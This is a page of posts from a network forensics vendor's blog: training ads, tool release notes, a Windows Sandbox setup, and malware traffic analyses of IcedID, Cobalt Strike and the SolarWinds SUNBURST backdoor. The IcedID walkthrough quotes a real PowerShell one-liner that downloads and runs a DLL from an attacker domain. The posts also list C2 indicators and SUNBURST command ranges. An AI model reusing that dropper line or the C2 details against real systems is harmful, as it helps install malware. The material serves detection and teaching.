NETRESEC Network Security Blog

rss Google News

Network Forensics Classes for EU and US

We have now scheduled two new live online classes, one in September and one in October. The September class is adapted to European time and the October one is adapted to American time. The contents are exactly the same in both classes.

PCAP in the mornining

The training is split into four interactive morning sessions (4 hours each), so that you have the afternoon free to either practice what you learned in class or do your “normal” day job. The number of attendees will be limited in order to enable attendees to ask questions or even cover short ad-hoc side tracks. We plan to accept something like 10 to 15 attendees per class. The class registration will be closed once we reach this attendee limit.

  • 🇪🇺 September 20-23, 2021. Live Online Training "PCAP in the Morning EU"
    ⏲️ Time: 8:30 AM to 12:30 PM CET (Central European Time)
    💸 Price: € 820 EUR per student (€ 738 EUR if registering before August 20)
  • 🇺🇸 October 25-28, 2021. Live Online Training "PCAP in the Morning US"
    ⏲️ Time: 9:00 AM to 1:00 PM EDT (US Eastern Daylight Time)
    💸 Price: $1,000 USD per student ($900 USD if registering before September 25)

We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” classes.

To sign up for a class, simply send an email to sales@netresec.com with the class dates, your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Posted by Erik Hjelmvik on Monday, 07 June 2021 09:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics #Class

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=216851d


Detecting Cobalt Strike and Hancitor traffic in PCAP

This video shows how Cobalt Strike and Hancitor C2 traffic can be detected using CapLoader.

I bet you’re going:

😱 OMG he’s analyzing Windows malware on a Windows PC!!!

Relax, I know what I’m doing. I have also taken the precaution of analyzing the PCAP file in a Windows Sandbox, which just takes a couple of seconds to deploy and run.

The capture file I’m looking at is called “2021-05-13-Hancitor-traffic-with-Ficker-Stealer-and-Cobalt-Strike.pcap” and can be downloaded from here: https://malware-traffic-analysis.net/2021/05/13/index.html

CapLoader’s Services tab shows us that the connections to TCP 80 and 443 on 103.207.42.11 are very periodic, with a detected period of exactly 1 minute. CapLoader successfully identifies the protocols for these two services as Cobalt Strike over HTTP and Cobalt Strike over SSL, respectively. The third service in this list is also very periodic, that’s the Hancitor trojan beaconing to its C2 server every two minutes.

Services tab in CapLoader

CapLoader uses machine learning to identify the application layer protocol based on the behavior of the traffic, not the port number. This means that there can be false positives, i.e. the protocol classification that CapLoader gives a flow or service might be wrong. It is more common, however, for CapLoader to yield false negatives, which means that it can't identify the protocol. The detection of Cobalt Strike inside of HTTP and SSL traffic was recently introduced in the latest 1.9 release of CapLoader. I expected this feature to detect Cobalt Strike traffic in HTTP, but I was delighted to see that CapLoader often detects even TLS encrypted Cobalt Strike beaconing with really good precision!

As shown in the video, the Cobalt Strike beacon config can easily be extracted from the network traffic using NetworkMiner and Didier Stevens’ 1768 K python script.

The output from Didier’s 7868.py tool looks something like this:

0x0001 payload type 0 windows-beacon_http-reverse_http
0x0002 port 80
0x0003 sleeptime 60000
0x0004 maxgetsize 1048576
0x0005 jitter 0
0x0007 publickey 30819f30[...]
0x0008 server,get-uri '103.207.42.11,/ca'
[...]

As you can see, it uses HTTP for transport with a “sleeptime” of 1 minute (60000 ms) and 0% jitter. This means that a new connection will be made to the Cobalt Strike C2 server every minute. The fact that there was no jitter is what gives this service such a high value in CapLoader’s “Periodicity” column.

Network Forensics Training

Are you interested in learning more about how to analyze network traffic from Cobalt Strike and other backdoors, malware and hacker tools? Then take a look at the live online network forensics classes I will be teaching in September and October!

Posted by Erik Hjelmvik on Monday, 31 May 2021 08:30:00 (UTC/GMT)

Tags: #Netresec #Cobalt Strike #CobaltStrike #periodicity #Protocol Identification #PIPI #CapLoader #1768.py #Windows Sandbox #PCAP #NSM #video #videotutorial

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=21536fc


CapLoader 1.9 Released

CapLoader 1.9 Logo

A new version of the PCAP filtering tool CapLoader has been released today. The new CapLoader version 1.9 is now even better at identifying protocols and periodic beacons than before. The user interface has also been improved to make it easier to filter and drill down in network traffic to extract interesting, malicious or unusual traffic.

More Protocols Identified

We’ve added port-independent protocol detection for over 20 new protocols since the last release. The newly added protocols include some that are used by malicious tools and backdoors such as hTran, RevengeRAT, Tofsee and Winsecsrv, as well as legitimate protocols like WireGuard (VPN) and RemoteFX (UDP based remote desktop). We’ve also improved our support for ICS traffic analysis by adding protocol identification of SCADA protocols DNP3 and IEC 60870-5-104.

CapLoader also detects what we call “sub-protocols”, which are communication protocols that use other L7 protocols as transport. We have extended the sub-protocol detection in CapLoader 1.9 to include traffic like Anchor_DNS and dnscat traffic, which both run on top of DNS. We have also added detection of Cobalt Strike beacons over HTTP and HTTPS, even though the latter is quite difficult to detect due to the application data being encrypted.

Improved Usability

CapLoader 1.9 comes with several user interface improvements that help you solve the “needle in the haystack” problem even more efficiently than before.

The context menus in the Flows, Services and Hosts tabs can now be used to select rows based on values in any column, such as “Select all flows where Duration > 10 minutes” (when right-clicking a 10 minute flow).

The “Keyword Filter” is now called “Row Filter” in order to avoid getting it mixed up with the “Find Keyword” feature. The Row Filter has also been enhanced with a new filtering mode, to complement the Contains / All Words / Any Words / RegEx options, which is called “Column Criteria”. The Column Criteria can be used to filter the displayed rows based on the values in a user-specified column. The Column Criteria “Duration > 00:10:00” will, for example, only show flows that are 10 minutes or longer, while “ASN = 3301” shows the flows going to Telia’s AS3301.

CapLoader 1.9 with Column Criteria Row Filter Duration > 00:10:00

Image: CapLoader with Row Filter Column Criteria "Duration > 00:10:00"

We have also extended CapLoader's BPF implementation to support VLAN id’s, so that you can use expressions like “vlan 100” as input filter as well as display filter. The BPF implementation also supports logic operators, so that more advanced filters like “(tcp port 80 or port 443) and not net 149.154.172.0/22” can be used.

CapLoader has a method for detecting periodic connection patterns, which was introduced in CapLoader 1.4. This feature can be used to detect clients that connect to a service at regular intervals, such as a beacon used for command-and-control or email client connecting to a mail server. We have improved the periodicity detection in CapLoader 1.9 so that it now detects periodic services more accurately.

The Initial Round Trip Time (iRRT) in the Flows and Services tabs is now measured in milliseconds instead of seconds in order to avoid “bulky numbers” (h/t Eddi).

There was previously a significant delay when selecting many flows at once (like 100.000). We’ve improved the performance of this feature in CapLoader 1.9, so that you can now select several hundred thousands flows at once without having to wait for an unresponsive GUI to update.

More OSINT Lookup Services

A feature in CapLoader that often comes in handy is the ability to right-click a flow, service or host and open a website with OSINT information about the clicked IP address or domain name. We have now replaced some of the OSINT services with new better ones.

The new services we’ve added to CapLaoder 1.9 for performing online OSINT lookups of IP addresses, network services and domain names are:

Bug fixes and Credits

Several bugs have been fixed in this new release of CapLoader, much thanks to feedback we’ve received from our users. We’d like to thank Anders Regert and Mandy van Oosterhout for reporting bugs in CapLoaders “Save As” feature. We’d also like to thank Hyun Dowon for reporting a snap length corruption bug that previously appeared when exporting flows from Pcap-NG files We have also fixed an issue where capture files were previously not always merged in chronological order when being aggregated.

Updating to the Latest Release

Users who have purchased a license for CapLoader can download a free update to version 1.9 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).

Posted by Erik Hjelmvik on Tuesday, 25 May 2021 12:20:00 (UTC/GMT)

Tags: #Netresec #CapLoader #PCAP #Pcap-NG #IEC-104 #CobaltStrike #BPF #periodicity #OSINT

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=2159bda


Running NetworkMiner in Windows Sandbox

NetworkMiner can be run in a highly efficient Windows Sandbox in order to analyze malicious PCAP files in Windows without accidentally infecting your Windows PC. This blog post shows how to set up a Windows Sandbox that always boots up a fresh install of Windows 10 with the latest version of NetworkMiner installed.

I generally recommend analyzing Windows malware in Linux, or some other non-Windows environment, in order to avoid accidentally infecting yourself (NetworkMiner runs fine in Linux btw). Nevertheless, I still often find myself loading capture files containing malicious network traffic into CapLoader and NetworkMiner under Windows. I have previously demonstrated that this can be a quick and crude way to perform an anti virus scan of files contained in a pcap file.

Windows Sandbox

If you want to analyze malicious traffic in Windows with minimal risk of infecting yourself then you should definitely check out Microsoft’s Windows Sandbox (available in Windows 10 Pro and Enterprise editions). The Windows Sandbox is using Windows containers, so it’s very efficient compared to spinning up a full Windows VM. It also provides features like kernel isolation, so that the sandbox container doesn’t use the same kernel as the host, and ensures that a new Windows environment is created every time the sandbox is run. Windows Sandbox also doesn't run any anti-virus, so it won't interfere with the extraction of malicious contents from within the analyzed capture files.

Follow these steps to install Windows Sandbox:

  1. Run OptionalFeatures.exe (the “Turn Windows features on or off” window)
  2. Enable the “Windows Sandbox” feature (check the box)
  3. Reboot

Then create a sandbox config, which downloads and installs the latest version of NetworkMiner every time the sandbox is started, by creating a file called “NetworkMinerSandbox.wsb” with the following contents:

<Configuration>
  <MappedFolders>
    <MappedFolder>
      <!-- Replace path below with your PCAP dir -->
      <HostFolder>C:\Users\Erik\pcap</HostFolder>
      <ReadOnly>true</ReadOnly>
    </MappedFolder>
  </MappedFolders>
  <LogonCommand>
    <Command>cmd.exe /C "curl -L https://www.netresec.com/?download=NetworkMiner | tar -C C:\Users\WDAGUtilityAccount\Desktop\ -xf -"</Command>
  </LogonCommand>
</Configuration>

Note: Replace “C:\Users\Erik\pcap” with whatever location your capture files are at

After starting NetworkMinerSandbox.wsb you’ll have a fresh Windows machine up and running within a couple of seconds. The latest version of NetworkMiner and your PCAP dir are both accessible from the sandbox’s desktop.

Windows Sandbox

Image: NetworkMiner 2.6 installed in a clean Windows Sandbox environment

Moving files in or out of the sandbox is just a matter of copy and paste (Ctrl+C / Ctrl+V).

VirtualBox and Windows Sandbox

VirtualBox error message Cannot enable nested VT-x/AMD-V without nested-paging and unrestricted guest execution

Are you using VirtualBox to run virtual machines on your Windows host and getting an error message saying “Cannot enable nested VT-x/AMD-V without nested-paging and unrestricted guest execution” after enabling Windows Sandbox?

Even though Windows Sandbox doesn’t need Hyper-V it still requires a hypervisor, which unfortunately conflicts with VirtualBox. You can disable the hypervisor by running the following command as administrator:

bcdedit.exe /set hypervisorlaunchtype off

...and then rebooting the computer before starting a VirtualBox VM with “nested VT-x” enabled. Turning off the hypervisor will unfortunately prevent Windows Sandbox from running, giving an error message saying “No hypervisor was found. Please enable hypervisor support.”

Windows Sandbox error message No hypervisor was found. Please enable hypervisor support.

To re-enable the hypervisor, in order to run Windows Sandbox again, you’ll need to run

bcdedit.exe /set hypervisorlaunchtype auto

and reboot the host.

Update May 26, 2021

We have now uploaded a simple Windows Sandbox config to our website here:

https://www.netresec.com/?download=NetworkMinerSandbox

This script runs on any Windows Pro machine that has the Sandbox feature active.

Posted by Erik Hjelmvik on Tuesday, 11 May 2021 13:39:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #PCAP #Windows #Sandbox #Windows Sandbox #Malware

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=215d5b5


Analysing a malware PCAP with IcedID and Cobalt Strike traffic

IdedID and Cobalt Strike

This network forensics walkthrough is based on two pcap files released by Brad Duncan on malware-traffic-analysis.net. The traffic was generated by executing a malicious JS file called StolenImages_Evidence.js in a sandbox environment.

The capture file starts with a DNS lookup for banusdona.top, which resolved to 172.67.188.12, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from banusdona.top:

$path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile('http://banusdona.top/222g100/main.php',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from http://banusdona[.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with:

rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

As you can see in the screenshot below, the HTTP response for this second request to banusdona.top has Content-Type "application/octet-stream", but also a conflicting Content-disposition header of "attachment;filename=data.jpg", which indicates that the file should be saved to disk as "data.jpg". Nevertheless, the "MZ" header in the transferred data reveals that the downloaded data wasn't an image, but a Windows binary (dll or exe).

CapLoader transcript of IcedID malware download Image: CapLoader transcript of IcedID malware download

The downloaded file gets extracted from the pcap file by NetworkMiner as "data.jpg.octet-stream".

Files extracted from PCAP by NetworkMiner Image: Files extracted from PCAP by NetworkMiner

Right-clicking "data.jpg.octet-stream" in NetworkMiner and selecting "Calculate MD5..." brings up a new window with additional file details, such as MD5 and SHA hashes of the reassembled file.

Extracted malware download of Cerbu / IcedID f98711dfeeab9c8b4975b2f9a88d8fea
MD5: f98711dfeeab9c8b4975b2f9a88d8fea SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c

This file is available on VirusTotal, where we can see that it's a DLL that several AV vendors identify as "Cerbu" or "IcedID". VirusTotal's C2AE sandbox analysis of the DLL also reveals the domain name "momenturede.fun" in the process' memory. As you might expect, a connection is made to that domain just a few seconds later. A nice overview of these connections can be seen in CapLoader's Flow tab.

CapLoader showing initial flows from the IcedID malware execution Image: CapLoader showing initial flows from the IcedID malware execution

The momenturede.fun server returns a 500kB file, which NetworkMiner extracts from the pcap file as "index.gzip".

MD5: 96a535122aba4240e2c6370d0c9a09d3 SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8 SHA256: 3d1b525ec2ee887bbc387654f6ff6d88e41540b789ea124ce51fb5565e2b8830

This turns out to be an encrypted IcedID DLL file, which has been analyzed by Ali Aqeel here:
https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/

Right after the IcedID download we see a series of HTTPS connections towards odd domains like vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space, all of which resolved to IP 83.97.20.176. That host is most likely a command-and-control (C2) server used by the IcedID malware.

CapLoader's "Services" tab also reveals that the TLS connections to port 443 on 83.97.20.176 are very periodic, with a new connection every 5 minutes. Periodic connection patterns like this is a typical indicator of C2 traffic, where the malware agent connects back to the C2 server on regular intervals to check for new tasks.

Periodic IcedID C2 communication detected by CapLoader Image: CapLoader's Services tab showing that the IcedID malware agent connects to the C2 server every 5 minutes (00:05:01).

The traffic to 83.97.20.176 is encrypted, so we can't inspect the payload to verify whether or not it is IcedID C2 communications. What we can do, however, is to extract the HTTPS server's X.509 certificate and the JA3 hash of the client's TLS implementation from the encrypted traffic.

NetworkMiner has extracted the X.509 certificates for vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space to disk as "localhost.cer".

X.509 certificate 452e969c51882628dac65e38aff0f8e5ebee6e6b

It turns out that all these sites used the same self-signed certificate, which had SHA1 fingerprint 452e969c51882628dac65e38aff0f8e5ebee6e6b. The X.509 certificate was created using OpenSSL's default values, such as "Internet Widgits Pty Ltd" etc. Further details about this certificate can be found on censys.io.

The JA3 hashes used by the IcedID malware agent can be found in NetworkMiner's Hosts tab as well as in the Parameters tab.

NetworkMiner's Parameters tab with keyoword filter JA3 Hash Image: NetworkMiner's Parameters tab with keyword filter "JA3 Hash"

The JA3 hashes for the client that connects to the C2 server are a0e9f5d64349fb13191bc781f81f42e1 and 3b5074b1b5d032e5620f69f9f700ff0e. Several legitimate Windows applications unfortunately have the same JA3 hashes, so we can't use them to uniquely identify the IcedID agents.

The IcedID C2 traffic continues for over 19 hours, at which point we suddenly see a connection to a new suspicious domain called "lesti.net" on 185.141.26.140. The first HTTP request to that domain is used to download a 261703 byte file, as can be seen in this Flow Transcript from CapLoader:

CapLoder Transcript of CobaltStrike beacon download

NetworkMiner extracts this file as "9r8z.octet-stream". This turns out to be a Cobalt Strike beacon download, which we can decode with Didier Stevens' fantastic 1768.py script.

The output from 1768.py reveals that this Cobalt Strike beacon is using the following URIs for C2 communication:

  • GET URI: http://lesti[.]net/userid=
  • POST URI: http://lesti[.]net/update.php

We can also see that the Cobalt Strike license-id (a.k.a. watermark) is 1580103814. This ID can be used to link this Cobalt Strike beacon to other campaigns. Below is a list of Cobalt Strike C2 servers using license-id 1580103814 discovered by Tek in December 2020:

  • 45.147.229[.]157
  • selfspin[.]com
  • savann[.]org
  • palside[.]com
  • server3.msadwindows[.]com
  • mapizzamates[.]com
  • fixval[.]com
  • rackspare-technology[.]download
  • 108.177.235[.]148
  • matesmapizza[.]com

Update 4 May 2021

Sergiu Sechel published a blog post yesterday, which included a list of Cobalt Strike C2 servers. We fed this list to Tek's scan_list.py script in order to see if license-id 1580103814 is still active. It turned out it was. We found the following 27 domains and IP's running Cobalt Strike C2 servers on TCP 443 using that license-id.

  • 151.236.14[.]53
  • 151.236.14[.]53
  • 172.241.27[.]70
  • 193.29.13[.]201
  • 193.29.13[.]201
  • 193.29.13[.]209
  • 194.165.16[.]60
  • 193.29.13[.]209
  • 193.29.13[.]201
  • 194.165.16[.]60
  • 194.165.16[.]60
  • dain22[.]net
  • drellio[.]com
  • feusa[.]net
  • fut1[.]net
  • helle1[.]net
  • hars2t[.]com
  • kasaa[.]net
  • idxup[.]com
  • maren2[.]com
  • mgfee[.]com
  • massflip[.]com
  • oaelf[.]com
  • repdot[.]com
  • scalewa[.]com
  • tulls[.]net
  • wellser[.]org

The full output from our re-scan of Sergiu's C2 list can be found on pastebin.

Update 8 May 2021

Security researcher Michael Koczwara is tracking Cobalt Strike license 1580103814 as APT actor LuckyMouse (a.k.a. Emissary Panda or APT 27). Michael's Cobalt Stike C2 dataset, which currently contains 25 unique C2 IPs and domains for license-id 1580103814, is available as a Google Docs spreadsheet (see the "LuckyMouse Actor" tab).

Indicators of Compromise - IOCs

  • MD5: 8da75e1f974d1011c91ed3110a4ded38
  • SHA1: e9b5e549363fa9fcb362b606b75d131dec6c020e
  • SHA256: 0314b8cd45b636f38d07032dc8ed463295710460ea7a4e214c1de7b0e817aab6
  • DNS: banusdona.top
  • IP: 172.67.188.12
  • MD5: f98711dfeeab9c8b4975b2f9a88d8fea
  • SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb
  • SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c
  • DNS: momenturede.fun
  • IP: 104.236.115.181
  • MD5: 96a535122aba4240e2c6370d0c9a09d3
  • SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8
  • MD5: 11965662e146d97d3fa3288e119aefb2
  • SHA1: b63d7ad26df026f6cca07eae14bb10a0ddb77f41
  • SHA256: d45b3f9d93171c29a51f9c8011cd61aa44fcb474d59a0b68181bb690dbbf2ef5
  • DNS: vaccnavalcod.website
  • DNS: mazzappa.fun
  • DNS: ameripermanentno.website
  • DNS: odichaly.space
  • IP: 83.97.20.176
  • SHA1: 452e969c51882628dac65e38aff0f8e5ebee6e6b
  • DNS: lesti.net
  • IP: 185.141.26.140
  • MD5: 449c1967d1708d7056053bedb9e45781
  • SHA1: 1ab39f1c8fb3f2af47b877cafda4ee09374d7bd3
  • SHA256: c7da494880130cdb52bd75dae1556a78f2298a8cc9a2e75ece8a57ca290880d3
  • Cobalt Strike Watermark: 1580103814

Network Forensics Training

Are you interested in learning more about how to analyze captured network traffic from malware and hackers? Have a look at our network forensic trainings. Our next class is a live online event called PCAP in the Morning.

Posted by Erik Hjelmvik on Monday, 19 April 2021 09:45:00 (UTC/GMT)

Tags: #Cobalt Strike #CobaltStrike #NetworkMiner #CapLoader #Network Forensics #JA3 #X.509 #1768.py

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=214d7ff


Live Online Training - PCAP in the Morning

Would you like to spend four mornings in May analyzing capture files together with me?

I love the smell of PCAP in the Morning

I have now scheduled a live online network forensics training called “PCAP in the Morning” that will run on May 3-6 (Monday to Thursday) between 8:30 AM and 12:30 PM EDT (US Eastern Daylight Time). We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” training.

To sign up for my “PCAP in the Morning” class, simply send an email to sales@netresec.com with your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration. The training costs $950 USD per participant, for which you will also get a six month single user license for NetworkMiner Professional and CapLoader.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Update June 7, 2021

We have now scheduled two new training events adapted for students in different time zones.

  • September 20-23, 2021. Live Online Training "PCAP in the Morning EU" (🇪🇺)
  • October 25-28, 2021. Live Online Training "PCAP in the Morning US" (🇺🇸)

More information about the network forensics classes can be found on our training page.

Posted by Erik Hjelmvik on Friday, 19 March 2021 14:03:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=21300ef


Targeting Process for the SolarWinds Backdoor

The SolarWinds Orion backdoor, known as SUNBURST or Solorigate, has been analyzed by numerous experts from Microsoft, FireEye and several anti-virus vendors. However, we have noticed that many of the published reports are either lacking or incorrect in how they describe the steps involved when a client gets targeted by the threat actors. We have therefore decided to publish this writeup, which is based on the analysis we did of the SolarWinds backdoor when creating our SunburstDomainDecoder tool.

UPDATE March 1, 2021

Fixed errors in the Stage 2 beacon structure and added a CyberChef recipe link.

avsvmcloud.com DNS queries are not DGA related

The DNS communication between the backdoored SolarWinds Orion clients and the authoritative name server for avsvmcloud.com is not caused by a Domain Generation Algorithm (DGA), it's actually a fully functional two-way communication C2 channel. The clients encode information, such as the internal AD domain and installed security applications into the DNS queries and the DNS responses from the name server are used to instruct the clients to continue beaconing, stop beaconing or to target a client by proceeding to what we call Stage 2 operation. Thus, the authoritative name server for avsvmcloud.com was actually the C2 server for Stage 1 and 2 operation of the SolarWinds backdoor.

SolarWinds Backdoor State Diagram

Image: SolarWinds Backdoor State Diagram

Command: Continue Beaconing

The default response from the name server is the "Continue Beaconing" command, which indicates that the threat actors have not yet decided if the SolarWinds client is of interest for further activity. Receiving a DNS A record in any of the following net ranges instructs the SolarWinds backdoor to continue beaconing:

  • 8.18.144.0/23
  • 71.152.53.0/24
  • 87.238.80.0/21
  • 199.201.117.0/24

In "Stage 1" operation the SUNBURST client starts out in the "New" mode where it exfiltrates the internal AD domain name. The AD domain data is often split into multiple DNS queries to reduce the length of each DNS query. The client later proceeds to the "Append" mode when the full AD domain has been exfiltrated. In "Append" mode the client transmits a list of installed or running security applications to the DNS C2 server, as we have described in our Extracting Security Products from SUNBURST DNS Beacons blog post. The client remains in Append mode until it gets either terminated or targeted.

Note: It is also possible to reset a client back to the "New" mode with a so-called "Ipx" command, but that is out of scope for this blog post.

Command: Stop Beaconing

The stop beaconing command terminates the DNS beaconing, so that the client no longer retrieves any commands from the C2 server. The C2 communication is stopped after receiving a DNS DNS A or AAAA record in any of the following ranges:

  • 20.140.0.0/15
  • 96.31.172.0/24
  • 131.228.12.0/22
  • 144.86.226.0/24
  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16
  • 224.0.0.0/3
  • fc00:: - fe00::
  • fec0:: - ffc0::
  • ff00::

Command: Target Client

A SUNBURST client that has been "targeted" will change a flag called rec.dnssec in the source code from false to true. We call this flag the "Stage 2" flag, which must be set in order for the client to accept a CNAME record and proceed to Stage 3. Symantec refer to the Stage 2 flag as "a bit flag representing whether the previous DNS response successfully contained partial or full instructions to start the secondary HTTP communication channel".

A DNS A record in any of the following three IP ranges can be used to set the "Stage 2" flag:

  • 18.130.0.0/16
  • 99.79.0.0/16
  • 184.72.0.0/15

The state of the Stage 2 flag is actually signaled in the avsvmcloud.com DNS queries, which is how we managed to identify the AD domains of 23 targeted organizations just by analyzing SUNBURST DNS queries.

Stage 2 DNS Request Structure

The structure of the SUNBURST DNS queries in Stage 1 is pretty well described by Prevasio and Symantec, so we will not cover those in this blog post. Instead we will focus specifically on the structure of the DNS queries transmitted in Stage 2 operation, where the clients request a CNAME record from the name server.

As we have explained previously the exfiltrated data gets base32 encoded, using the custom alphabet "ph2eifo3n5utg1j8d94qrvbmk0sal76c", in order to ensure that only valid domain name characters are used in the DNS beacons.

The structure of the Stage 2 request, before it gets base32 encoded and appended as an avsvmcloud.com subdomain, looks like this:

Field Size Description
XOR Key 8 bits A value between 0x01 and 0x7F used to XOR encrypt the rest of the data.
GUID 64 bits Client ID encrypted using 16 bit rotating XOR with the last 15 bits of Timestamp and the Stage 2 flag.
Packet Type 4 bits A value of 0x1, could in theory be 0x2 but that's very unlikely.
Timestamp 19 bits Number of 30 minute periods since start of 2010 (UTC).
Stage 2 Flag 1 bit A flag set to "1" in Stage 2 operation, otherwise "0".
SolarWinds Backdoor Stage 2 DNS Beacon Structure

Image: Stage 2 beacon structure of the SolarWinds backdoor

The base32 encoding not only uses a custom alphabet, it also employs a reversed endianess and byte order compared to "normal" implementations. We have created a CyberChef recipe that performs this custom base32 decoding, so that the structure can be verified more easily. A list with 45 different Stage 2 avsvmcloud.com subdomains can be found in our Finding Targeted SUNBURST Victims with pDNS blog post. Feel free to replace the input to our CyberChef recipe with any of those subdomains.

Sleep Timers

The DNS responses from the name server not only controls how the SolarWinds backdoor should transition between the various stages, it also controls for how long the backdoor should wait before sending the next DNS beacon.

The delay is assigned by AND-ing the last octet of the received IP address with bitmask 0x54. The result from the AND operation is then used to select a sleep interval in the table below, within which the client picks a random number of minutes to sleep.

AND Result Name Sleep Interval
0x00 1 hour 30-120 minutes
0x04 4 hours 240-300 minutes
0x10 8 hours 480-600 minutes
0x14 1 day 1440-1560 minutes
0x40 3 days 4320-5760 minutes
0x44 1 week 10020-10140 minutes
0x50 2 weeks 20100-20220 minutes
0x54 1 month 43140-43260 minutes

An exception to the table above is clients that have entered Stage 2, which will only wait one to three minutes before requesting a CNAME.

Example DNS C2 for a Non-Targeted Client

Below is an example of DNS queries and responses from a SUNBURST client that wasn't targeted by the threat actors. These particular queries and responses come from a post on SolarWinds' community forum.

  • 2020-07-04 00:03 UTC
    Query: if9prvp9o36mhihw2hrs260g12eu1 ⇒ AD domain "omeros.local"
    Response: 8.18.145.139 ⇒ sleep 1h, then Continue
  • 2020-07-04 01:08 UTC
    Query: hnhb3v1b37dvv09icg0edp0 ⇒ Carbon Black is running
    Response: 8.18.145.62 ⇒ sleep 1 day, then Continue
  • 2020-07-05 01:15 UTC
    Query: ea99hr2sfen95nkjlc5g ⇒ Nothing new to report
    Response: 8.18.144.150 ⇒ sleep 1 day, then Continue
  • 2020-07-06 02:42 UTC
    Query: 707gigk9vbc923hf27fe ⇒ Nothing new to report
    Response: 8.18.145.151 ⇒ sleep 1 day, then Continue
  • 2020-07-07 03:52 UTC
    Query: 6eivqct649pcg0g16ol4 ⇒ Nothing new to report
    Response: 20.140.84.127 ⇒ Stop DNS beacon

Note: Queried domain names in this list are subdomains of appsync-api.eu-west-1.avsvmcloud.com.

Example DNS C2 for a Targeted Client

Disclaimer: We have very few DNS queries and responses for targeted victims, hence the transactions below are improvised based on data from VriesHd, Joe Słowik and FireEye. Please view these transactions as an example of what the communication might look like for a targeted victim rather than what actually happened to this particular target.

  • 2020-06-11 04:00 UTC
    Query: r8stkst71ebqgj66ervisu10bdohu0gt ⇒ AD domain, part 1 "central.pima.g"
    Response: 8.18.144.1 ⇒ Sleep 1h, then Continue
  • 2020-06-11 05:00 UTC
    Query: ulfmcf44qd58t9e82w ⇒ AD domain, part 2 "ov"
    Response: 8.18.144.2 ⇒ Sleep 1h, then Continue
  • 2020-06-11 06:00 UTC
    Query: p50jllhvhmoti8mpbf6p2di ⇒ Nothing to report
    Response: 8.18.144.16 ⇒ Sleep 8h, then Continue
  • 2020-06-11 14:00 UTC
    Query: (?) ⇒ Nothing new to report
    Response: 8.18.144.17 ⇒ Sleep 8h, then Continue
  • 2020-06-11 22:35 UTC
    Query: j5uqlssr1hfqnn8hkf172mp ⇒ Nothing to report
    Response: 184.72.181.52 ⇒ Target client for Stage 2 operation (1-3 minutes sleep)
  • 2020-06-11 22:37 UTC
    Query: 7sbvaemscs0mc925tb99 ⇒ Client in Stage 2 operation, requesting CNAME
    Response: deftsecurity.com ⇒ CNAME for Stage 3 HTTPS C2 server

Note: Queried domains in this list are subdomains of appsync-api.us-west-2.avsvmcloud.com.

Conclusions

We hope this blog post clears up any misunderstandings regarding the targeting process of the SolarWinds backdoor and highlights the significance of the Stage 2 flag.

We warmly welcome any feedback or questions you might have regarding this writeup, please feel free to contact us or reach out to us through Twitter.

Posted by Erik Hjelmvik on Wednesday, 17 February 2021 20:22:00 (UTC/GMT)

Tags: #SolarWinds #SUNBURST #Solorigate #FireEye #Microsoft #CNAME #STAGE2 #DNS #avsvmcloud.com #C2 #ASCII-art

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=212a6ad


Twenty-three SUNBURST Targets Identified

Remember when Igor Kuznetsov and Costin Raiu announced that two of the victims in FireEye's SUNBURST IOC list were ***net.***.com and central.***.gov on Kaspersky's Securelist blog in December? Reuters later reported that these victims were Cox Communications and Pima County.

We can now reveal that the internal AD domain of all SUNBURST deployments in FireEye's IOC list can be extracted from publicly available DNS logs published by twitter user VriesHd, a.k.a. "Kira 2.0", with help of our SunburstDomainDecoder tool. The data published by VriesHd is the most complete SUNBURST DNS collection we've seen, with over 35.000 avsvmcloud.com subdomains! Here is FireEye's IOC table completed with our findings:

Leaked AD Domain Sunburst C2 FQDN Stage 2 CNAME Timestamp (UTC)
